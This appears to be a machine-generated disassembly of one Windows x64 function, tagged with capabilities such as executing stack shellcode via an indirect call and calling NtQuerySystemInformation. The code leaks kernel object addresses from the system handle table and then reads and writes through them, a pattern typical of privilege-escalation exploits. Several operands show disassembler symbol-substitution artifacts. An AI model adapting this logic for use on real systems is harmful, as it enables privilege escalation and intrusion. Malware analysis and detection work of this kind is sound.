Function at 0x1801895c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x3f0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1802a60c0]
xor rax, rsp
mov qword [rbp + 0x3a8], rax
mov byte [rbp + 0x398], 0xeb
mov byte [rbp + 0x399], 8
mov byte [rbp + 0x39a], 0x48
mov byte [rbp + 0x39b], Ordinal_143
mov byte [rbp + 0x39c], Ordinal_143
mov byte [rbp + 0x39d], Ordinal_41
mov byte [rbp + 0x39e], 0x48
mov byte [rbp + 0x39f], WSAStartup
mov byte [rbp + 0x3a0], 0xa2
mov byte [rbp + 0x3a1], 0xdb
mov byte [rbp + 0x3a2], Ordinal_200
lea rax, [rsp + 0x408]
test rax, rax
jne 0x180189651
lea rax, [rbp + 0x398]
call rax
xor eax, eax
call rax
nop
mov dword [rbp + 0x360], 0
mov qword [rbp + 0x18], 0
lea r9, [rbp + 0x360]
mov r8d, dword [rbp + 0x360]
mov rdx, qword [rbp + 0x18]
mov ecx, 0x40
call sub.ntdll.dll_NtQuerySystemInformation
mov dword [rbp + 0x28], eax
cmp dword [rbp + 0x28], 0xc0000004
jne 0x1801896de
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rbp + 0x360]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x18], rax
lea r9, [rbp + 0x360]
mov r8d, dword [rbp + 0x360]
mov rdx, qword [rbp + 0x18]
mov ecx, 0x40
call sub.ntdll.dll_NtQuerySystemInformation
mov dword [rbp + 0x28], eax
jmp 0x180189682
cmp dword [rbp + 0x28], 0
jl 0x1801896eb
cmp qword [rbp + 0x18], 0
jne 0x18018970c
cmp qword [rbp + 0x18], 0
je 0x180189705
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
xor al, al
jmp 0x180189d72
mov qword [rbp + 0x30], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x38], rax
mov dword [rbp + 0x14], 0
jmp 0x18018972d
mov eax, dword [rbp + 0x14]
inc eax
mov dword [rbp + 0x14], eax
mov eax, dword [rbp + 0x14]
mov rcx, qword [rbp + 0x38]
cmp rax, qword [rcx]
jae 0x18018978d
mov eax, dword [rbp + 0x14]
imul rax, rax, 0x28
lea rcx, [rbp + 0xf0]
mov rdx, qword [rbp + 0x38]
mov rdi, rcx
lea rsi, [rdx + rax + 0x10]
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
cmp qword [rbp + 0xf8], rax
je 0x18018976d
jmp 0x180189725
mov rax, qword [rsp + 0x410]
cmp qword [rbp + 0x100], rax
jne 0x18018978b
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x30], rax
jmp 0x18018978d
jmp 0x180189725
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
cmp qword [rbp + 0x30], 0
jne 0x1801897ae
xor al, al
jmp 0x180189d72
mov qword [rbp + 0x390], 0
mov rax, qword [rbp + 0x30]
add rax, 8
mov r9d, 8
lea r8, [rbp + 0x390]
mov rdx, rax
mov rcx, qword [rsp + 0x410]
call fcn.18018eb10
movzx eax, al
test eax, eax
je 0x1801897ef
cmp qword [rbp + 0x390], 0
jne 0x18018986a
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0x70], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 0x20]
lea rcx, [rbp + 0x240]
call fcn.180180c70
mov rcx, rax
call fcn.180190680
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x70]
call fcn.18012eb00
mov qword [rbp + 0x78], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
xor al, al
jmp 0x180189d72
mov qword [rbp + 0x388], 0
mov rax, qword [rbp + 0x390]
add rax, 8
mov r9d, 8
lea r8, [rbp + 0x388]
mov rdx, rax
mov rcx, qword [rsp + 0x410]
call fcn.18018eb10
movzx eax, al
test eax, eax
je 0x1801898b2
cmp qword [rbp + 0x388], 0
jne 0x18018993f
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0x88], rax
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 2]
movzx r8d, byte [rbp + 3]
movzx edx, byte [rbp + 0x21]
lea rcx, [rbp + 0x2a0]
call fcn.180181fb0
mov rcx, rax
call fcn.180190680
mov qword [rbp + 0x80], rax
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x88]
call fcn.18012eb00
mov qword [rbp + 0x90], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
xor al, al
jmp 0x180189d72
mov qword [rbp + 0x380], 0
mov rax, qword [rbp + 0x388]
add rax, 0x28
mov r9d, 8
lea r8, [rbp + 0x380]
mov rdx, rax
mov rcx, qword [rsp + 0x410]
call fcn.18018eb10
movzx eax, al
test eax, eax
je 0x180189987
cmp qword [rbp + 0x380], 0
jne 0x180189a14
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 4]
movzx r8d, byte [rbp + 5]
movzx edx, byte [rbp + 0x22]
lea rcx, [rbp + 0x300]
call fcn.180183210
mov rcx, rax
call fcn.180190680
mov qword [rbp + 0x98], rax
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0xa0]
call fcn.18012eb00
mov qword [rbp + 0xa8], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
xor al, al
jmp 0x180189d72
lea rax, [rbp + 0x368]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x380]
add rax, 0x58
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x368]
mov rdx, rax
mov rcx, qword [rsp + 0x410]
call fcn.18018eb10
movzx eax, al
test eax, eax
je 0x180189a65
movzx eax, word [rbp + 0x368]
test eax, eax
jne 0x180189af2
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0xb8], rax
lea rax, [rbp + 6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 6]
movzx r8d, byte [rbp + 7]
movzx edx, byte [rbp + 0x23]
lea rcx, [rbp + 0x120]
call fcn.180183800
mov rcx, rax
call fcn.180190270
mov qword [rbp + 0xb0], rax
mov rdx, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xb8]
call fcn.18012eb00
mov qword [rbp + 0xc0], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
xor al, al
jmp 0x180189d72
mov edx, 8
lea rcx, [rbp + 0x378]
call fcn.1800610f0
movzx eax, word [rbp + 0x368]
xor edx, edx
mov ecx, 2
div rcx
inc rax
mov rdx, rax
lea rcx, [rbp + 0x378]
call fcn.1801872d0
nop
movzx eax, word [rbp + 0x368]
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0x378]
call fcn.180037410
mov rcx, qword [rbp + 0xc8]
mov r9, rcx
mov r8, rax
mov rdx, qword [rbp + 0x370]
mov rcx, qword [rsp + 0x410]
call fcn.18018eb10
movzx eax, al
test eax, eax
jne 0x180189bfa
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 8]
movzx r8d, byte [rbp + 9]
movzx edx, byte [rbp + 0x24]
lea rcx, [rbp + 0x160]
call fcn.180183fa0
mov rcx, rax
call fcn.180190270
mov qword [rbp + 0x40], rax
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x60]
call fcn.18012eb00
mov qword [rbp + 0x58], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov byte [rbp + 0xa], 0
lea rcx, [rbp + 0x378]
call fcn.180187ae0
movzx eax, byte [rbp + 0xa]
jmp 0x180189d72
xor eax, eax
mov word [rbp + 0x368], ax
mov rax, qword [rbp + 0x380]
add rax, 0x58
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x368]
mov rdx, rax
mov rcx, qword [rsp + 0x410]
call fcn.18018f700
movzx eax, al
test eax, eax
jne 0x180189cc9
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0xb]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xc]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xb]
movzx r8d, byte [rbp + 0xc]
movzx edx, byte [rbp + 0x25]
lea rcx, [rbp + 0x1e0]
call fcn.180184390
mov rcx, rax
call fcn.180190680
mov qword [rbp + 0x50], rax
mov rdx, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x48]
call fcn.18012eb00
mov qword [rbp + 0xd0], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov byte [rbp + 0xd], 0
lea rcx, [rbp + 0x378]
call fcn.180187ae0
movzx eax, byte [rbp + 0xd]
jmp 0x180189d72
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0xe0], rax
lea rax, [rbp + 0xe]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xf]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xe]
movzx r8d, byte [rbp + 0xf]
movzx edx, byte [rbp + 0x26]
lea rcx, [rbp + 0x1a0]
call fcn.1801844f0
mov rcx, rax
call fcn.180190270
mov qword [rbp + 0xd8], rax
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xe0]
call fcn.18012eb00
lea rdx, [rbp + 0x378]
mov rcx, rax
call fcn.180184da0
mov qword [rbp + 0xe8], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov byte [rbp + 0x10], 1
lea rcx, [rbp + 0x378]
call fcn.180187ae0
movzx eax, byte [rbp + 0x10]
mov rcx, qword [rbp + 0x3a8]
xor rcx, rsp
call fcn.1801f08c0
add rsp, 0x3f0
pop rdi
pop rsi
pop rbp
ret